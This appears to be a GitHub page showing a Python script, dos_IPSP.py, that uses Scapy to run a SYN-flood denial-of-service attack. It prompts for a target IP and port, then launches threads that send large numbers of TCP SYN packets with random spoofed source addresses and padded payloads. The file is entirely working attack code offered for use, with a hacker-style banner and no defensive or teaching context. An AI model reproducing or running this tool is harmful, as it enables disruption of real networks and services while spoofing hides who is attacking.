-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathdos_IPSP.py
83 lines (64 loc) · 3.06 KB
/
dos_IPSP.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding: utf-8 -*-
from scapy.all import RandShort, Raw, send, RandIP
from scapy.layers.inet import IP, TCP
from random import randint
from time import sleep
from os import system
from threading import Thread
def clear():
system('clear' or 'cls')
class color :
GREEN = '\033[92m'
RED = '\033[91m'
YEL = '\033[93m'
def logo() :
clear()
print(color.RED+"""
\n
▒█████ ███▄ █ ██▓ ▒█████ ███▄ █
▒██▒ ██▒ ██ ▀█ █ ▓██▒▒██▒ ██▒ ██ ▀█ █
▒██░ ██▒▓██ ▀█ ██▒▒██▒▒██░ ██▒▓██ ▀█ ██▒
▒██ ██░▓██▒ ▐▌██▒░██░▒██ ██░▓██▒ ▐▌██▒
░ ████▓▒░▒██░ ▓██░░██░░ ████▓▒░▒██░ ▓██░
░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ░▓ ░ ▒░▒░▒░ ░ ▒░ ▒ ▒ IP SP
░ ▒ ▒░ ░ ░░ ░ ▒░ ▒ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░ V:0.1.1
░ ░ ░ ▒ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ </OƝioN
"""+color.GREEN)
def START():
print("code by </OƝion")
sleep(.5)
target_ip = str(input('[>] Target ip:'))
target_port = int(input('[>] Target port:'))
count = int(input('[>] packet count:'))
sleeptime = float(input('[>] delay [.001-.01]:'))
tread_count = int(input('[>] tread:'))
minimum_size = int(input('[>] minimum packet size:'))
maximum_size = int(input('[>] maximum packet size:'))
count_packet_tread = int(count / tread_count)
#sended = 1
def tread_def(target_ip, target_port, count_packet_tread, sleeptime, maximum_size, minimum_size):
#global sended
for _ in range(count_packet_tread):
sleep(sleeptime)
fake_ip = RandIP()
s_eq = randint(1000, 9000)
w_indow = randint(1100, 9000)
ip = IP(src=fake_ip, dst=target_ip)
tcp = TCP(sport=RandShort(), dport=target_port, flags="S", seq=s_eq, window=w_indow)
size = Raw(b"M" * randint(minimum_size,maximum_size))
packet = ip / tcp / size
send(packet , verbose=False)
#print(f'\n\n[+] started :\nTarget IP: {target_ip} \nTarget PORT: {target_port} \nCount: {sended} \nDelay: {sleeptime}')
#sended += 1
for _ in range(tread_count):
try:
x = Thread(target=tread_def, args=(target_ip, target_port, count_packet_tread, sleeptime, maximum_size, minimum_size))
x.start()
sleep(.5)
except:
print('[error!] run by sudo ...')
print(f'\n\n[+] DONE:\nTarget IP: {target_ip} \nTarget PORT: {target_port} \nCount: {count} \nDelay: {sleeptime}\nPacket size:{minimum_size}/{maximum_size}')
if __name__ == "__main__":
logo()
START()